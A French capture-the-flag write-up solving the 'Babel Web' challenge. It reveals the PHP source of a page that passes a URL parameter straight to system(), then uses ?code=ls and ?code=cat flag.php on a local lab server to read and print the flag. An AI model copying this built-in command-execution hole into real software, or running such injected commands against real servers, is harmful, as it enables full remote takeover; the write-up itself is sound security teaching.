Premières recherches
On lance le site et on inspecte le code source de la page donnée.
À première vue, rien sur la page. Mais en inspectant le code de la page, on obtient :
<html>
<head>
<title>Bienvenue à Babel Web!</title>
</head>
<body>
<h1>Bienvenue à Babel Web!</h1>
La page est en cours de développement, merci de revenir plus tard.
<!-- <a href="?source=1">source</a> -->
</body>
</html>
On voit un lien commenté dans la page.
En inspectant l’élément, on peut dé-commenter ce lien. En réalisant un clic droit sur le commentaire et en éditant en tant que HTML.
Cela nous donne une page avec un lien cliquable.
Le lien nous envoie sur la route :
localhost:8000/?source=1
Cette route nous renvoie une page contenant :
<?php
if (isset($_GET['source'])) {
@show_source(__FILE__);
} else if(isset($_GET['code'])) {
print("<pre>");
@system($_GET['code']);
print("<pre>");
} else {
?>
<html>
<head>
<title>Bienvenue à Babel Web!</title>
</head>
<body>
<h1>Bienvenue à Babel Web!</h1>
La page est en cours de développement, merci de revenir plus tard.
<!-- <a href="?source=1">source</a> -->
</body>
</html>
<?php
}
?>
Décortiquage du code précédent
Afin de pouvoir l’exploiter, il nous faut comprendre le code obtenue qui semble être le code du site.
Tout d’abord, on voit que le code est composé de trois bloc, un if
, un else if
et un else
.
Nous devons alors comprendre comment fonctionnent les conditions à remplir pour rentrer dans chaque bloc.
Pour cela, nous devons étudier les lignes :
if (isset($_GET['source']))
&&
else if (isset($_GET['code']))
Ces conditions portent sur la route de la page.
En effet, $_GET nous permet de récuperer une variable dans la route et isset() nous permet de savoir si cette variable est définie.
Donc :
- Si notre route est de la forme
localhost:8000/?source=var
, on sera dans leif
. - Si la route est de la forme
localhost:8000/?code=var
, on sera dans leelse if
. - Sinon, on sera dans le
else
.
On comprends donc que le if
est la page nous ayant donnée le code et que le else
est la page de base.
Nous devons donc exploiter le else if
.
Exploitation
Ce bloc va récupérer la var après le =
dans la route localhost:8000/?code=var
et l’utiliser dans la fonction @system()
.
La fonction @system() va permettre d’exécuter des lignes de commande sur le serveur.
On utilise donc la route localhost:8000/?code=ls
pour voir si des fichiers exploitables sont disponibles.
On obtient alors deux fichiers, flag.php
et index.php
.
On suppose donc que flag.php
contient notre flag. Il faut donc lire son contenu.
On sait que la commande :
cat flag.php
nous permettrait de voir le contenu de flag sur la CLI.
Pour exécuter cette fonction dans la route on appelle la route localhost:8000/?code=cat%20flag.php
(le %20
nous permettant de représenter l’espace, voir ici pour plus d’info).
Cela nous renvoie une page blanche, qui a comme code source :
<pre>
<!--?php
$flag = "FCSC{5d969396bb5592634b31d4f0846d945e4befbb8c470b055ef35c0ac090b9b8b7}";
<pre-->
<pre>
On a alors obtenu notre flag.